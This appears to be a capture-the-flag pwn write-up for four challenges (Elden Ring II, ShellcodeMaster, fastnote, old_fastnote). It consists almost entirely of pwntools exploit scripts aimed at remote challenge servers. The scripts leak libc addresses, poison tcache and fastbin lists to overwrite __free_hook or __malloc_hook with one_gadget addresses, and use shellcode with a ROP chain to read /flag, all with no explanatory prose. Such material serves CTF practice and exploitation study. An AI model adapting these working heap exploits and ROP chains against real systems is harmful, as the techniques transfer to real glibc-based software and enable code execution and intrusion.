Elden Ring II

```
from pwn import *
libc = ELF("./libc.so.6")
# p = process("./vuln")
p = remote("47.100.137.175", 32602)
def add(idx, size):
    p.sendlineafter(b">", "1")
    p.sendlineafter(b"Index: ", str(idx))
    p.sendlineafter(b"Size: ", str(size))
def dele(idx):
    p.sendlineafter(b">", "2")
    p.sendlineafter(b"Index: ", str(idx))
def edit(idx, content):
    p.sendlineafter(b">", "3")
    p.sendlineafter(b"Index: ", str(idx))
    p.sendafter(b"Content: ", content)
def show(idx):
    p.sendlineafter(b">", "4")
    p.sendlineafter(b"Index: ", str(idx))

for i in range(9):
    add(i, 0x88)
for i in range(8):
    dele(i)
show(7)
libc.address = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) - 0x1ecbe0
show(6)
heap_address = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) - 0x570
dele(8)
edit(6, p64(libc.sym['__free_hook']))
add(9, 0x88)
add(10, 0x88)
edit(10, p64(libc.address + 0xe3b01))
dele(0)
p.interactive()
```

ShellcodeMaster

```
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
shellcode1 = asm("""
xor edi, edi
xor esi, 0x406393
xor eax, eax
syscall
mov esp, esi
mov eax, esi
xor al, 0xb8
ret
""")
# 0xb8: puts
```

```python
# 0x80: mmap
# p = process("./ShellcodeMaster")
p = remote("47.100.137.175", 31155)
pause()
p.sendlineafter("shellcode\n", shellcode1)
pause()
ropchain = p64(0x00000000004011bd)  # : pop rbp; ret;
ropchain += p64(0x404400)   # rbp
ropchain += p64(0x00000000004012e0)  # : leave; ret;
ropchain += p64(0x404400) * 106
ropchain += p64(0x401363)
p.send(ropchain)
p.recvuntil("Love!\n")
libc_address = u64(p.recvuntil(b"\n")[:-1].ljust(8, b'\x00')) - 0x80e50
success(f"libc: {hex(libc_address)}")
pop_rdi = libc_address + 0x000000000002a3e5 # : pop rdi; ret;
pop_rsi = libc_address + 0x000000000016333a # : pop rsi; ret;
pop_rdx_r12 = libc_address + 0x000000000011f2e7 # : pop rdx; pop r12; ret;
pop_rax = libc_address + 0x0000000000045eb0 # : pop rax; ret;
syscal_ret = libc_address + 0x0000000000091316  # : syscall; ret;
address = 0x404168

ropchain = p64(pop_rdi)
ropchain += p64(address)
ropchain += p64(pop_rsi)
ropchain += p64(0)
ropchain += p64(pop_rdx_r12)
ropchain += p64(0)
ropchain += p64(0)
ropchain += p64(pop_rax)
ropchain += p64(2)
ropchain += p64(syscal_ret)

ropchain += p64(pop_rdi)
ropchain += p64(3)
ropchain += p64(pop_rsi)
ropchain += p64(address)
ropchain += p64(pop_rdx_r12)
ropchain += p64(0x30)
ropchain += p64(0)
ropchain += p64(pop_rax)
ropchain += p64(0)
ropchain += p64(syscal_ret)

ropchain += p64(pop_rdi)
ropchain += p64(1)
ropchain += p64(pop_rax)
ropchain += p64(1)
ropchain += p64(syscal_ret)
ropchain += b'/flag'
p.send(ropchain)
p.interactive()
```

fastnote

```python
from pwn import *
libc = ELF("./libc-2.31.so")
# p = process("./vuln")
p = remote("47.100.137.175", 32217)
context.log_level = 'debug'
def add(idx, size, content):
    p.sendlineafter(b"Your choice:", "1")
    p.sendlineafter(b"Index: ", str(idx))
    p.sendlineafter(b"Size: ", str(size))
    p.sendafter(b"Content: ", content)

def show(idx):
    p.sendlineafter(b"Your choice:", "2")
    p.sendlineafter(b"Index: ", str(idx))

def dele(idx):
    p.sendlineafter(b"Your choice:", "3")
    p.sendlineafter(b"Index: ", str(idx))


for i in range(9):
    add(i, 0x80, 'a')

for i in range(8):
    dele(i)

show(7)
libc.address = u64(p.recvuntil(b"\n")[:-1].ljust(8, b'\x00')) - 0x1ecbe0
success(f"libc: {hex(libc.address)}")

for i in range(9):
    add(i, 0x68, 'a')

for i in range(9):
    dele(i)
dele(7)
for i in range(7):
    add(i, 0x68, 'a')
add(9, 0x68, p64(libc.sym['__malloc_hook'] - 0x13))
add(10, 0x68, 'a')
add(11, 0x68, p64(0xdeadbeef))
add(12, 0x68, b'a' * 19 + p64(libc.address + 0xe3b01))
p.sendlineafter(b"Your choice:", "1")
p.sendlineafter(b"Index: ", str(13))
p.sendlineafter(b"Size: ", str(0x68))
p.interactive()
```

old_fastnote

```python
from pwn import *
libc = ELF("./libc-2.23.so")
# p = process("./vuln")
p = remote("106.14.57.14", 30860)
def add(idx, size, content):
    p.sendlineafter(b"choice:", "1")
    p.sendlineafter(b"Index: ", str(idx))
    p.sendlineafter(b"Size: ", str(size))
    p.sendafter(b"Content: ", content)

def show(idx):
    p.sendlineafter(b"choice:", "2")
    p.sendlineafter(b"Index: ", str(idx))

def free(idx):
    p.sendlineafter(b"choice:", "3")
    p.sendlineafter(b"Index: ", str(idx))

add(0, 0x80, b'a')
add(1, 0x80, b'a')
free(0)
show(0)
libc.address = u64(p.recvuntil(b"\n")[:-1].ljust(8, b'\x00')) - 0x3c4b78
success(f"libc: {hex(libc.address)}")
free(1)

add(0, 0x68, b'a')
add(1, 0x68, b'a')
free(0)
free(1)
free(0)
add(0, 0x68, p64(libc.sym['__malloc_hook'] - 0x1b + 0x08 - 0x10))
# add(0, 0x68, p64(libc.sym['__free_hook'] - 0x1b + 0x08))
add(1, 0x68, b'a')
add(2, 0x68, b'a')
# pause()
add(3, 0x68, b'a' * 0x13 + p64(libc.address + 0xf1247))

p.sendlineafter(b"choice:", "1")
p.sendlineafter(b"Index: ", "4")
p.sendlineafter(b"Size: ", str(0x68))
# free(1)
p.interactive()
```